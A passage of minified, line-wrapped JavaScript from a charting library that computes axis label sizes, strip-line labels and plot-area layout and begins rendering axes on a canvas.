xWidth,this.sessionVariables.labelWrap=this.labelWrap,this.sessionVariables.labelMa
xHeight=c):(this.sessionVariables.labelMaxWidth=this.options.labelMaxWidth?
this.options.labelMaxWidth:g,this.sessionVariables.labelMaxHeight=0===this.labelAng
le?k:c,u(this.options.labelMaxWidth)&&
(this.sessionVariables.labelAngle=this.labelAngle))):this.options.labelWrap?
(this.sessionVariables.labelMaxHeight=0===this.labelAngle?
k:c,this.sessionVariables.labelWrap=this.labelWrap,this.sessionVariables.labelMaxWi
dth=g):
(this.sessionVariables.labelMaxHeight=k,u(this.options.labelMaxWidth),this.sessionV
ariables.labelMaxWidth=this.options.labelMaxWidth?
this.options.labelMaxWidth:this.sessionVariables.labelMaxWidth,this.sessionVariable
s.labelWrap=this.labelWrap)}for(c=0;c<this._labels.length;c++)a=
this._labels[c].textBlock,a.maxWidth=this.labelMaxWidth=this.sessionVariables.label
MaxWidth,a.fontSize=this.labelFontSize=this.sessionVariables.labelFontSize,a.angle=
this.labelAngle=this.sessionVariables.labelAngle,a.wrap=this.labelWrap=this.session
Variables.labelWrap,a.maxHeight=this.sessionVariables.labelMaxHeight,a.measureText(
)}else for(b=0;b<this._labels.length;b+
+)a=this._labels[b].textBlock,a.maxWidth=this.labelMaxWidth=u(this.options.labelMax
Width)?this.sessionVariables.labelMaxWidth:this.options.labelMaxWidth,
a.fontSize=this.labelFontSize=u(this.options.labelFontSize)?
this.sessionVariables.labelFontSize:this.options.labelFontSize,a.angle=this.labelAn
gle=u(this.options.labelAngle)?
this.sessionVariables.labelAngle:this.labelAngle,a.wrap=this.labelWrap=u(this.optio
ns.labelWrap)?
this.sessionVariables.labelWrap:this.options.labelWrap,a.maxHeight=this.sessionVari
ables.labelMaxHeight,a.measureText();for(b=0;b<this.stripLines.length;b++){var
g=this.stripLines[b],z;if("outside"===g.labelPlacement)
{k=this.sessionVariables.labelMaxWidth;
if("bottom"===this._position||"top"===this._position)z=u(g.options.labelWrap)?
this.sessionVariables.labelMaxHeight:g.labelWrap?
0.8*this.chart.height>>0:1.5*this.labelFontSize;if("left"===this._position||"right"
===this._position)z=u(g.options.labelWrap)?
this.sessionVariables.labelMaxHeight:g.labelWrap?
0.8*this.chart.width>>0:1.5*this.labelFontSize;u(g.labelBackgroundColor)&&(g.labelB
ackgroundColor="#EEEEEE")}else k="bottom"===this._position||"top"===this._position?
0.9*this.chart.width>>0:0.9*this.chart.height>>
0,z=u(g.options.labelWrap)||
g.labelWrap?"bottom"===this._position||"top"===this._position?
0.8*this.chart.width>>0:0.8*this.chart.height>>0:1.5*this.labelFontSize,u(g.labelBa
ckgroundColor)&&(u(g.startValue)&&0!==g.startValue?
g.labelBackgroundColor=r?"transparent":null:g.labelBackgroundColor="#EEEEEE");a=new
ka(this.ctx,
{x:0,y:0,backgroundColor:g.labelBackgroundColor,borderColor:g.labelBorderColor,bord
erThickness:g.labelBorderThickness,cornerRadius:g.labelCornerRadius,maxWidth:g.opti
ons.labelMaxWidth?
g.options.labelMaxWidth:k,maxHeight:z,angle:this.labelAngle,text:g.labelFormatter?
g.labelFormatter({chart:this.chart,axis:this,stripLine:g}):g.label,horizontalAlign:
"left",fontSize:"outside"===g.labelPlacement?g.options.labelFontSize?
g.labelFontSize:this.labelFontSize:g.labelFontSize,fontFamily:"outside"===g.labelPl
acement?g.options.labelFontFamily?
g.labelFontFamily:this.labelFontFamily:g.labelFontFamily,fontWeight:"outside"===g.l
abelPlacement?g.options.labelFontWeight?g.labelFontWeight:this.labelFontWeight:
g.labelFontWeight,fontColor:g.labelFontColor||
g.color,fontStyle:"outside"===g.labelPlacement?g.options.labelFontStyle?
g.labelFontStyle:this.fontWeight:g.labelFontStyle,textBaseline:"middle"});this._str
ipLineLabels.push({position:g.value,textBlock:a,effectiveHeight:null,stripLine:g})}
};z.prototype.createLabelsAndCalculateWidth=function(){var
a=0,d=0;this._labels=[];this._stripLineLabels=[];var b=this.chart.isNavigator?
0:5;if("left"===this._position||"right"===this._position)
{this.createLabels();for(d=
0;d<this._labels.length;d++){var
c=this._labels[d].textBlock,e=c.measureText(),g=0,g=0===this.labelAngle?
e.width:e.width*Math.cos(Math.PI/180*Math.abs(this.labelAngle))+(e.height-
c.fontSize/2)*Math.sin(Math.PI/180*Math.abs(this.labelAngle));a<g&&(a=g);this._labe
ls[d].effectiveWidth=g}for(d=0;d<this._stripLineLabels.length;d+
+)"outside"===this._stripLineLabels[d].stripLine.labelPlacement&&(this._stripLineLa
bels[d].stripLine.value>=this.viewportMinimum&&this._stripLineLabels[d].stripLine.v
alue<=this.viewportMaximum)&&
(c=this._stripLineLabels[d].textBlock,e=c.measureText(),g=0===this.labelAngle?
e.width:e.width*Math.cos(Math.PI/180*Math.abs(this.labelAngle))+(e.height-
c.fontSize/2)*Math.sin(Math.PI/180*Math.abs(this.labelAngle)),a<g&&(a=g),this._stri
pLineLabels[d].effectiveWidth=g)}d=this.title?
this._titleTextBlock.measureText().height+2:0;return
c="inside"===this.labelPlacement?
c=d+b:d+a+this.tickLength+b};z.prototype.createLabelsAndCalculateHeight=function()
{var a=0;this._labels=[];this._stripLineLabels=[];var d,
b=0,c=this.chart.isNavigator?
0:5;this.createLabels();if("bottom"===this._position||"top"===this._position)
{for(b=0;b<this._labels.length;b++){d=this._labels[b].textBlock;var
e=d.measureText(),g=0,g=0===this.labelAngle?
e.height:e.width*Math.sin(Math.PI/180*Math.abs(this.labelAngle))+(e.height-
d.fontSize/2)*Math.cos(Math.PI/180*Math.abs(this.labelAngle));a<g&&(a=g);this._labe
ls[b].effectiveHeight=g}for(b=0;b<this._stripLineLabels.length;b+
+)"outside"===this._stripLineLabels[b].stripLine.labelPlacement&&
(this._stripLineLabels[b].stripLine.value>=this.viewportMinimum&&this._stripLineLab
els[b].stripLine.value<=this.viewportMaximum)&&(d=this._stripLineLabels[b].textBloc
k,e=d.measureText(),g=0===this.labelAngle?
e.height:e.width*Math.sin(Math.PI/180*Math.abs(this.labelAngle))+(e.height-
d.fontSize/2)*Math.cos(Math.PI/180*Math.abs(this.labelAngle)),a<g&&(a=g),this._stri
pLineLabels[b].effectiveHeight=g)}d=this.title?
this._titleTextBlock.measureText().height+2:0;return
b="inside"===this.labelPlacement?b=
d+c:d+a+this.tickLength+c};z.setLayout=function(a,d,b,c,e,g){var k,l,h,m,p=a[0]?
a[0].chart:d[0].chart,q=p.isNavigator?0:10,n=p._axes;if(a&&0<a.length)for(var
f=0;f<a.length;f+
+)a[f]&&a[f].calculateAxisParameters();if(d&&0<d.length)for(f=0;f<d.length;f+
+)d[f].calculateAxisParameters();if(b&&0<b.length)for(f=0;f<b.length;f+
+)b[f].calculateAxisParameters();if(c&&0<c.length)for(f=0;f<c.length;f+
+)c[f].calculateAxisParameters();for(f=0;f<n.length;f+
+)if(n[f]&&n[f].scaleBreaks&&n[f].scaleBreaks._appliedBreaks.length)for(var r=
n[f].scaleBreaks._appliedBreaks,v=0;v<r.length&&!
(r[v].startValue>n[f].viewportMaximum);v++)r[v].endValue<n[f].viewportMinimum||
(u(n[f].scaleBreaks.firstBreakIndex)&&(n[f].scaleBreaks.firstBreakIndex=v),r[v].sta
rtValue>=n[f].viewPortMinimum&&(n[f].scaleBreaks.lastBreakIndex=v));for(var
z=v=0,t=0,C=0,x=0,D=0,y=0,A,E,F=l=0,H,I,L,r=H=I=L=!1,f=0;f<n.length;f+
+)n[f]&&n[f].title&&(n[f]._titleTextBlock=new ka(n[f].ctx,
{text:n[f].title,horizontalAlign:"center",fontSize:n[f].titleFontSize,fontFamily:n[
f].titleFontFamily,
fontWeight:n[f].titleFontWeight,fontColor:n[f].titleFontColor,fontStyle:n[f].titleF
ontStyle,borderColor:n[f].titleBorderColor,borderThickness:n[f].titleBorderThicknes
s,backgroundColor:n[f].titleBackgroundColor,cornerRadius:n[f].titleCornerRadius,tex
tBaseline:"top"}));for(f=0;f<n.length;f++)if(n[f].title)switch(n[f]._position){case
"left":n[f]._titleTextBlock.maxWidth=n[f].titleMaxWidth||
g.height;n[f]._titleTextBlock.maxHeight=n[f].titleWrap?
0.8*g.width:1.5*n[f].titleFontSize;n[f]._titleTextBlock.angle=
-90;break;case "right":n[f]._titleTextBlock.maxWidth=n[f].titleMaxWidth||
g.height;n[f]._titleTextBlock.maxHeight=n[f].titleWrap?
0.8*g.width:1.5*n[f].titleFontSize;n[f]._titleTextBlock.angle=90;break;default:n[f]
._titleTextBlock.maxWidth=n[f].titleMaxWidth||
g.width,n[f]._titleTextBlock.maxHeight=n[f].titleWrap?
0.8*g.height:1.5*n[f].titleFontSize,n[f]._titleTextBlock.angle=0}if("normal"===e)
{for(var C=[],x=[],D=[],y=[],M=[],N=[],O=[],Q=[];4>v;){var
G=0,R=0,S=0,U=0,W=e=0,K=0,$=0,V=0,X=0,P=0,ba=0;if(b&&
0<b.length)for(D=[],f=P=0;f<b.length;f++)D.push(Math.ceil(b[f]?
b[f].createLabelsAndCalculateWidth():0)),P+=D[f],K+=b[f]&&!p.isNavigator?
b[f].margin:0;else D.push(Math.ceil(b[0]?
b[0].createLabelsAndCalculateWidth():0));O.push(D);if(c&&0<c.length)for(y=[],f=ba=0
;f<c.length;f++)y.push(Math.ceil(c[f]?
c[f].createLabelsAndCalculateWidth():0)),ba+=y[f],$+=c[f]?c[f].margin:0;else
y.push(Math.ceil(c[0]?
c[0].createLabelsAndCalculateWidth():0));Q.push(y);k=Math.round(g.x1+P+K);h=Math.ro
und(g.x2-ba-$>p.width-
q?p.width-q:g.x2-ba-$);if(a&&0<a.length)for(C=[],f=V=0;f<a.length;f+
+)a[f]&&(a[f].lineCoordinates={}),a[f].lineCoordinates.width=Math.abs(h-
k),a[f].title&&(a[f]._titleTextBlock.maxWidth=0<a[f].titleMaxWidth&&a[f].titleMaxWi
dth<a[f].lineCoordinates.width?
a[f].titleMaxWidth:a[f].lineCoordinates.width),C.push(Math.ceil(a[f]?
a[f].createLabelsAndCalculateHeight():0)),V+=C[f],e+=a[f]&&!p.isNavigator?
a[f].margin:0;else C.push(Math.ceil(a[0]?
a[0].createLabelsAndCalculateHeight():0));M.push(C);if(d&&0<d.length)for(x=
[],f=X=0;f<d.length;f+
+)d[f]&&(d[f].lineCoordinates={}),d[f].lineCoordinates.width=Math.abs(h-
k),d[f].title&&(d[f]._titleTextBlock.maxWidth=0<d[f].titleMaxWidth&&d[f].titleMaxWi
dth<d[f].lineCoordinates.width?
d[f].titleMaxWidth:d[f].lineCoordinates.width),x.push(Math.ceil(d[f]?
d[f].createLabelsAndCalculateHeight():0)),X+=x[f],W+=d[f]&&!p.isNavigator?
d[f].margin:0;else x.push(Math.ceil(d[0]?
d[0].createLabelsAndCalculateHeight():0));N.push(x);if(a&&0<a.length)for(f=0;f<a.le
ngth;f++)a[f]&&(a[f].lineCoordinates.x1=
k,h=Math.round(g.x2-ba-$>p.width-q?p.width-q:g.x2-ba-
$),a[f]._labels&&1<a[f]._labels.length&&(l=m=0,m=a[f]._labels[1],l="dateTime"===a[f
].valueType?a[f]._labels[a[f]._labels.length-2]:a[f]._labels[a[f]._labels.length-
1],z=m.textBlock.width*Math.cos(Math.PI/180*Math.abs(m.textBlock.angle))+
(m.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/180*Math.abs(m.textBlock.angle)),t=l.textB
lock.width*Math.cos(Math.PI/180*Math.abs(l.textBlock.angle))+(l.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/
180*Math.abs(l.textBlock.angle))),!a[f]||(!a[f].labelAutoFit||u(A)||u(E)||
p.isNavigator)||(l=0,0<a[f].labelAngle?E+t>h&&(l+=0<a[f].labelAngle?E+t-h-
ba:0):0>a[f].labelAngle?A-z<k&&A-z<a[f].viewportMinimum&&(F=k-
(K+a[f].tickLength+D+A-
z+a[f].labelFontSize/2)):0===a[f].labelAngle&&(E+t>h&&(l=E+t/2-h-ba),A-z<k&&A-
z<a[f].viewportMinimum&&(F=k-K-a[f].tickLength-D-
A+z/2)),a[f].viewportMaximum===a[f].maximum&&a[f].viewportMinimum===a[f].minimum&&0
<a[f].labelAngle&&0<l?h-=l:a[f].viewportMaximum===a[f].maximum&&
a[f].viewportMinimum===a[f].minimum&&0>a[f].labelAngle&&0<F?
k+=F:a[f].viewportMaximum===a[f].maximum&&a[f].viewportMinimum===a[f].minimum&&0===
a[f].labelAngle&&(0<F&&(k+=F),0<l&&(h-=l))),p.panEnabled?
V=p.sessionVariables.axisX.height:p.sessionVariables.axisX.height=V,l=Math.round(g.
y2-V-
e+G),m=Math.round(g.y2),a[f].lineCoordinates.x2=h,a[f].lineCoordinates.width=h-
k,a[f].lineCoordinates.y1=l,a[f].lineCoordinates.y2=l,a[f].bounds={x1:k,y1:l,x2:h,y
2:m-(V+e-C[f]-G),width:h-k,height:m-l}),G+=C[f]+a[f].margin;
if(d&&0<d.length)for(f=0;f<d.length;f+
+)d[f].lineCoordinates.x1=Math.round(g.x1+P+K),d[f].lineCoordinates.x2=Math.round(g
.x2-ba-$>p.width-q?p.width-q:g.x2-ba-$),d[f].lineCoordinates.width=Math.abs(h-
k),d[f]._labels&&1<d[f]._labels.length&&(m=d[f]._labels[1],l="dateTime"===d[f].valu
eType?d[f]._labels[d[f]._labels.length-2]:d[f]._labels[d[f]._labels.length-
1],z=m.textBlock.width*Math.cos(Math.PI/180*Math.abs(m.textBlock.angle))+
(m.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/180*Math.abs(m.textBlock.angle)),
t=l.textBlock.width*Math.cos(Math.PI/180*Math.abs(l.textBlock.angle))+
(l.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/180*Math.abs(l.textBlock.angle))),p.panEna
bled?
X=p.sessionVariables.axisX2.height:p.sessionVariables.axisX2.height=X,l=Math.round(
g.y1),m=Math.round(g.y2+d[f].margin),d[f].lineCoordinates.y1=l+X+W-
R,d[f].lineCoordinates.y2=l,d[f].bounds={x1:k,y1:l+(X+W-x[f]-R),x2:h,y2:m,width:h-
k,height:m-l},R+=x[f]+d[f].margin;if(b&&0<b.length)for(f=0;f<b.length;f+
+)K=p.isNavigator?0:
10,b[f]&&(k=Math.round(a[0]?
a[0].lineCoordinates.x1:d[0].lineCoordinates.x1),K=b[f]._labels&&0<b[f]._labels.len
gth?b[f]._labels[b[f]._labels.length-
1].textBlock.height/2:q,l=Math.round(g.y1+X+W<Math.max(K,q)?
Math.max(K,q):g.y1+X+W),h=Math.round(a[0]?
a[0].lineCoordinates.x1:d[0].lineCoordinates.x1),K=0<a.length?
0:b[f]._labels&&0<b[f]._labels.length?
b[f]._labels[0].textBlock.height/2:q,m=Math.round(g.y2-V-e-
K),b[f].lineCoordinates={x1:h-S,y1:l,x2:h-S,y2:m,height:Math.abs(m-
l)},b[f].bounds={x1:k-(D[f]+
S),y1:l,x2:h,y2:m,width:h-k,height:m-
l},b[f].title&&(b[f]._titleTextBlock.maxWidth=0<b[f].titleMaxWidth&&b[f].titleMaxWi
dth<b[f].lineCoordinates.height?
b[f].titleMaxWidth:b[f].lineCoordinates.height),S+=D[f]
+b[f].margin);if(c&&0<c.length)for(f=0;f<c.length;f++)c[f]&&(k=Math.round(a[0]?
a[0].lineCoordinates.x2:d[0].lineCoordinates.x2),h=Math.round(k),K=c[f]._labels&&0<
c[f]._labels.length?c[f]._labels[c[f]._labels.length-
1].textBlock.height/2:0,l=Math.round(g.y1+X+W<Math.max(K,q)?Math.max(K,q):g.y1+
X+W),K=0<a.length?0:c[f]._labels&&0<c[f]._labels.length?
c[f]._labels[0].textBlock.height/2:0,m=Math.round(g.y2-
(V+e+K)),c[f].lineCoordinates={x1:k+U,y1:l,x2:k+U,y2:m,height:Math.abs(m-
l)},c[f].bounds={x1:k,y1:l,x2:h+(y[f]+U),y2:m,width:h-k,height:m-
l},c[f].title&&(c[f]._titleTextBlock.maxWidth=0<c[f].titleMaxWidth&&c[f].titleMaxWi
dth<c[f].lineCoordinates.height?
c[f].titleMaxWidth:c[f].lineCoordinates.height),U+=y[f]
+c[f].margin);if(a&&0<a.length)for(f=0;f<a.length;f+
+)a[f]&&(a[f].calculateValueToPixelConversionParameters(),
a[f].calculateBreaksSizeInValues(),a[f]._labels&&1<a[f]._labels.length&&(A=(a[f].lo
garithmic?
Math.log(a[f]._labels[1].position/a[f].viewportMinimum)/a[f].conversionParameters.l
nLogarithmBase:a[f]._labels[1].position-
a[f].viewportMinimum)*Math.abs(a[f].conversionParameters.pixelPerUnit)
+a[f].lineCoordinates.x1,k=a[f]._labels[a[f]._labels.length-
("dateTime"===a[f].valueType?
2:1)].position,k=a[f].getApparentDifference(a[f].viewportMinimum,k),E=a[f].logarith
mic?(1<k?Math.log(k)/a[f].conversionParameters.lnLogarithmBase*
Math.abs(a[f].conversionParameters.pixelPerUnit):0)+a[f].lineCoordinates.x1:(0<k?
k*Math.abs(a[f].conversionParameters.pixelPerUnit):0)+a[f].lineCoordinates.x1));if(
d&&0<d.length)for(f=0;f<d.length;f+
+)d[f].calculateValueToPixelConversionParameters(),d[f].calculateBreaksSizeInValues
(),d[f]._labels&&1<d[f]._labels.length&&(A=(d[f].logarithmic?
Math.log(d[f]._labels[1].position/d[f].viewportMinimum)/d[f].conversionParameters.l
nLogarithmBase:d[f]._labels[1].position-
d[f].viewportMinimum)*Math.abs(d[f].conversionParameters.pixelPerUnit)+
d[f].lineCoordinates.x1,k=d[f]._labels[d[f]._labels.length-
("dateTime"===d[f].valueType?
2:1)].position,k=d[f].getApparentDifference(d[f].viewportMinimum,k),E=d[f].logarith
mic?(1<k?
Math.log(k)/d[f].conversionParameters.lnLogarithmBase*Math.abs(d[f].conversionParam
eters.pixelPerUnit):0)+d[f].lineCoordinates.x1:(0<k?
k*Math.abs(d[f].conversionParameters.pixelPerUnit):0)+d[f].lineCoordinates.x1);for(
f=0;f<n.length;f+
+)"axisY"===n[f].type&&(n[f].calculateValueToPixelConversionParameters(),n[f].calcu
lateBreaksSizeInValues());
if(0<v){if(a&&0<a.length)for(f=0;f<a.length;f++)r=M[v-1][f]===M[v][f]?!0:!1;else
r=!0;if(d&&0<d.length)for(f=0;f<d.length;f++)H=N[v-1][f]===N[v][f]?!0:!1;else H=!
0;if(b&&0<b.length)for(f=0;f<b.length;f++)I=O[v-1][f]===O[v][f]?!0:!1;else I=!
0;if(c&&0<c.length)for(f=0;f<c.length;f++)L=Q[v-1][f]===Q[v][f]?!0:!1;else L=!
0}if(r&&H&&I&&L)break;v++}if(a&&0<a.length)for(f=0;f<a.length;f+
+)a[f].calculateStripLinesThicknessInValues(),a[f].calculateBreaksInPixels();if(d&&
0<d.length)for(f=0;f<d.length;f++)d[f].calculateStripLinesThicknessInValues(),
d[f].calculateBreaksInPixels();if(b&&0<b.length)for(f=0;f<b.length;f+
+)b[f].calculateStripLinesThicknessInValues(),b[f].calculateBreaksInPixels();if(c&&
0<c.length)for(f=0;f<c.length;f+
+)c[f].calculateStripLinesThicknessInValues(),c[f].calculateBreaksInPixels()}else{q
=[];A=[];F=[];z=[];E=[];t=[];M=[];for(N=[];4>v;)
{V=U=R=S=$=K=W=e=Q=O=G=X=0;if(a&&0<a.length)for(F=[],f=U=0;f<a.length;f+
+)F.push(Math.ceil(a[f]?a[f].createLabelsAndCalculateWidth():0)),U+=F[f],e+=a[f]&&!
p.isNavigator?a[f].margin:0;else F.push(Math.ceil(a[0]?
a[0].createLabelsAndCalculateWidth():0));M.push(F);if(d&&0<d.length)for(z=[],f=V=0;
f<d.length;f++)z.push(Math.ceil(d[f]?
d[f].createLabelsAndCalculateWidth():0)),V+=z[f],W+=d[f]?d[f].margin:0;else
z.push(Math.ceil(d[0]?
d[0].createLabelsAndCalculateWidth():0));N.push(z);if(b&&0<b.length)for(f=0;f<b.len
gth;f++)b[f].lineCoordinates={},k=Math.round(g.x1+U+e),h=Math.round(g.x2-V-
W>p.width-10?p.width-10:g.x2-V-W),b[f].labelAutoFit&&!u(C)&&(0<!
a.length&&(k=0>b[f].labelAngle?Math.max(k,C):0===b[f].labelAngle?
Math.max(k,C/2):k),0<!d.length&&(h=0<b[f].labelAngle?h-x/2:0===b[f].labelAngle?h-
x/2:h)),b[f].lineCoordinates.x1=k,b[f].lineCoordinates.x2=h,b[f].lineCoordinates.wi
dth=Math.abs(h-
k),b[f].title&&(b[f]._titleTextBlock.maxWidth=0<b[f].titleMaxWidth&&b[f].titleMaxWi
dth<b[f].lineCoordinates.width?
b[f].titleMaxWidth:b[f].lineCoordinates.width);if(c&&0<c.length)for(f=0;f<c.length;
f++)c[f].lineCoordinates={},k=Math.round(g.x1+U+e),h=Math.round(g.x2-V-
W>c[f].chart.width-10?c[f].chart.width-10:g.x2-V-W),c[f]&&
c[f].labelAutoFit&&!u(D)&&(0<!a.length&&(k=0<c[f].labelAngle?
Math.max(k,D):0===c[f].labelAngle?Math.max(k,D/2):k),0<!d.length&&(h-
=y/2)),c[f].lineCoordinates.x1=k,c[f].lineCoordinates.x2=h,c[f].lineCoordinates.wid
th=Math.abs(h-
k),c[f].title&&(c[f]._titleTextBlock.maxWidth=0<c[f].titleMaxWidth&&c[f].titleMaxWi
dth<c[f].lineCoordinates.width?
c[f].titleMaxWidth:c[f].lineCoordinates.width);if(b&&0<b.length)for(q=[],f=S=0;f<b.
length;f++)q.push(Math.ceil(b[f]?b[f].createLabelsAndCalculateHeight():0)),S+=
q[f]+b[f].margin,K+=b[f].margin;else q.push(Math.ceil(b[0]?
b[0].createLabelsAndCalculateHeight():0));E.push(q);if(c&&0<c.length)for(A=[],f=R=0
;f<c.length;f++)A.push(Math.ceil(c[f]?
c[f].createLabelsAndCalculateHeight():0)),R+=A[f],$+=c[f].margin;else
A.push(Math.ceil(c[0]?
c[0].createLabelsAndCalculateHeight():0));t.push(A);if(b&&0<b.length)for(f=0;f<b.le
ngth;f+
+)0<b[f]._labels.length&&(m=b[f]._labels[0],l=b[f]._labels[b[f]._labels.length-
1],C=m.textBlock.width*Math.cos(Math.PI/180*Math.abs(m.textBlock.angle))+
(m.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/180*Math.abs(m.textBlock.angle)),x=l.textB
lock.width*Math.cos(Math.PI/180*Math.abs(l.textBlock.angle))+(l.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/180*Math.abs(l.textBlock.angle)));if(c&&0<
c.length)for(f=0;f<c.length;f+
+)c[f]&&0<c[f]._labels.length&&(m=c[f]._labels[0],l=c[f]._labels[c[f]._labels.lengt
h-1],D=m.textBlock.width*Math.cos(Math.PI/180*Math.abs(m.textBlock.angle))+
(m.textBlock.height-l.textBlock.fontSize/2)*Math.sin(Math.PI/
180*Math.abs(m.textBlock.angle)),y=l.textBlock.width*Math.cos(Math.PI/180*Math.abs(
l.textBlock.angle))+(l.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/180*Math.abs(l.textBlock.angle)));if(p.pan
Enabled)for(f=0;f<b.length;f++)q[f]=p.sessionVariables.axisY.height;else
for(f=0;f<b.length;f+
+)p.sessionVariables.axisY.height=q[f];if(b&&0<b.length)for(f=b.length-
1;0<=f;f--)l=Math.round(g.y2),m=Math.round(g.y2>b[f].chart.height-10?
b[f].chart.height-10:g.y2),b[f].lineCoordinates.y1=l-(q[f]+b[f].margin+
X),b[f].lineCoordinates.y2=l-(q[f]+b[f].margin+X),b[f].bounds={x1:k,y1:l-(q[f]
+X+b[f].margin),x2:h,y2:m-(X+b[f].margin),width:h-
k,height:q[f]},b[f].title&&(b[f]._titleTextBlock.maxWidth=0<b[f].titleMaxWidth&&b[f
].titleMaxWidth<b[f].lineCoordinates.width?
b[f].titleMaxWidth:b[f].lineCoordinates.width),X+=q[f]
+b[f].margin;if(c&&0<c.length)for(f=c.length-
1;0<=f;f--)c[f]&&(l=Math.round(g.y1),m=Math.round(g.y1+(A[f]
+c[f].margin+G)),c[f].lineCoordinates.y1=m,c[f].lineCoordinates.y2=m,c[f].bounds={x
1:k,y1:l+
(c[f].margin+G),x2:h,y2:m,width:h-
k,height:R},c[f].title&&(c[f]._titleTextBlock.maxWidth=0<c[f].titleMaxWidth&&c[f].t
itleMaxWidth<c[f].lineCoordinates.width?
c[f].titleMaxWidth:c[f].lineCoordinates.width),G+=A[f]
+c[f].margin);if(a&&0<a.length)for(f=0;f<a.length;f++)
{K=a[f]._labels&&0<a[f]._labels.length?
a[f]._labels[0].textBlock.fontSize/2:0;k=Math.round(g.x1+e);l=c&&0<c.length?
Math.round(c[0]?c[0].lineCoordinates.y2:g.y1<Math.max(K,10)?
Math.max(K,10):g.y1):g.y1<Math.max(K,10)?Math.max(K,10):g.y1;
h=Math.round(g.x1+U+e);m=b&&0<b.length?Math.round(b[0]?
b[0].lineCoordinates.y1:g.y2-S>p.height-Math.max(K,10)?p.height-
Math.max(K,10):g.y2-S):g.y2>p.height-Math.max(K,10)?p.height-
Math.max(K,10):g.y2;if(b&&0<b.length)for(K=0;K<b.length;K+
+)b[K]&&b[K].labelAutoFit&&(h=0>b[K].labelAngle?Math.max(h,C):0===b[K].labelAngle?
Math.max(h,C/2):h,k=0>b[K].labelAngle||0===b[K].labelAngle?h-
U:k);if(c&&0<c.length)for(K=0;K<c.length;K+
+)c[K]&&c[K].labelAutoFit&&(h=c[K].lineCoordinates.x1,k=h-U);a[f].lineCoordinates=
{x1:h-O,y1:l,x2:h-O,y2:m,height:Math.abs(m-l)};a[f].bounds={x1:h-(F[f]
+O),y1:l,x2:h,y2:m,width:h-k,height:m-
l};a[f].title&&(a[f]._titleTextBlock.maxWidth=0<a[f].titleMaxWidth&&a[f].titleMaxWi
dth<a[f].lineCoordinates.height?
a[f].titleMaxWidth:a[f].lineCoordinates.height);a[f].calculateValueToPixelConversio
nParameters();a[f].calculateBreaksSizeInValues();O+=F[f]
+a[f].margin}if(d&&0<d.length)for(f=0;f<d.length;f++)
{K=d[f]._labels&&0<d[f]._labels.length?
d[f]._labels[0].textBlock.fontSize/2:0;k=Math.round(g.x1-
e);l=c&&0<c.length?Math.round(c[0]?c[0].lineCoordinates.y2:g.y1<Math.max(K,10)?
Math.max(K,10):g.y1):g.y1<Math.max(K,10)?Math.max(K,10):g.y1;h=Math.round(g.x2-V-
W);m=b&&0<b.length?Math.round(b[0]?b[0].lineCoordinates.y1:g.y2-S>p.height-
Math.max(K,10)?p.height-Math.max(K,10):g.y2-S):g.y2>p.height-Math.max(K,10)?
p.height-Math.max(K,10):g.y2;if(b&&0<b.length)for(K=0;K<b.length;K+
+)b[K]&&b[K].labelAutoFit&&(h=0>b[K].labelAngle?Math.max(h,C):0===b[K].labelAngle?
Math.max(h,C/2):h,k=0>b[K].labelAngle||0===
b[K].labelAngle?h-V:k);if(c&&0<c.length)for(K=0;K<c.length;K+
+)c[K]&&c[K].labelAutoFit&&(h=c[K].lineCoordinates.x2,k=h-
V);d[f].lineCoordinates={x1:h+Q,y1:l,x2:h+Q,y2:m,height:Math.abs(m-
l)};d[f].bounds={x1:k,y1:l,x2:h+z[f]+Q,y2:m,width:h-k,height:m-
l};d[f].title&&(d[f]._titleTextBlock.maxWidth=0<d[f].titleMaxWidth&&d[f].titleMaxWi
dth<d[f].lineCoordinates.height?
d[f].titleMaxWidth:d[f].lineCoordinates.height);d[f].calculateValueToPixelConversio
nParameters();d[f].calculateBreaksSizeInValues();Q+=z[f]+
d[f].margin}for(f=0;f<n.length;f+
+)"axisY"===n[f].type&&(n[f].calculateValueToPixelConversionParameters(),n[f].calcu
lateBreaksSizeInValues());if(0<v){if(a&&0<a.length)for(f=0;f<a.length;f++)r=M[v-1]
[f]===M[v][f]?!0:!1;else r=!0;if(d&&0<d.length)for(f=0;f<d.length;f++)H=N[v-1]
[f]===N[v][f]?!0:!1;else H=!0;if(b&&0<b.length)for(f=0;f<b.length;f++)I=E[v-1]
[f]===E[v][f]?!0:!1;else I=!0;if(c&&0<c.length)for(f=0;f<c.length;f++)L=t[v-1]
[f]===t[v][f]?!0:!1;else L=!0}if(r&&H&&I&&L)break;v++}if(b&&0<b.length)for(f=
0;f<b.length;f+
+)b[f].calculateStripLinesThicknessInValues(),b[f].calculateBreaksInPixels();if(c&&
0<c.length)for(f=0;f<c.length;f+
+)c[f].calculateStripLinesThicknessInValues(),c[f].calculateBreaksInPixels();if(a&&
0<a.length)for(f=0;f<a.length;f+
+)a[f].calculateStripLinesThicknessInValues(),a[f].calculateBreaksInPixels();if(d&&
0<d.length)for(f=0;f<d.length;f+
+)d[f].calculateStripLinesThicknessInValues(),d[f].calculateBreaksInPixels()}};z.re
nder=function(a,d,b,c,e){var g=a[0]?a[0].chart:d[0].chart;
e=g.ctx;var
k=g._axes;g.alignVerticalAxes&&g.alignVerticalAxes();e.save();e.beginPath();a[0]&&e
.rect(5,a[0].bounds.y1,a[0].chart.width-
10,a[0].bounds.height);d[0]&&e.rect(5,d[d.length-1].bounds.y1,d[0].chart.width-
10,d[0].bounds.height);e.clip();if(a&&0<a.length)for(var l=0;l<a.length;l+
+)a[l].renderLabelsTicksAndTitle();if(d&&0<d.length)for(l=0;l<d.length;l+
+)d[l].renderLabelsTicksAndTitle();e.restore();if(b&&0<b.length)for(l=0;l<b.length;
l++)b[l].renderLabelsTicksAndTitle();if(c&&0<c.length)for(l=
0;l<c.length;l+
+)c[l].renderLabelsTicksAndTitle();g.preparePlotArea();g=g.plotArea;e.save();e.begi
nPath();e.rect(g.x1,g.y1,Math.abs(g.x2-g.x1),Math.abs(g.y2-
g.y1));e.clip();if(a&&0<a.length)for(l=0;l<k.length;l+
+)k[l].renderStripLinesOfThicknessType("value");if(d&&0<d.length)for(l=0;l<d.length
;l+
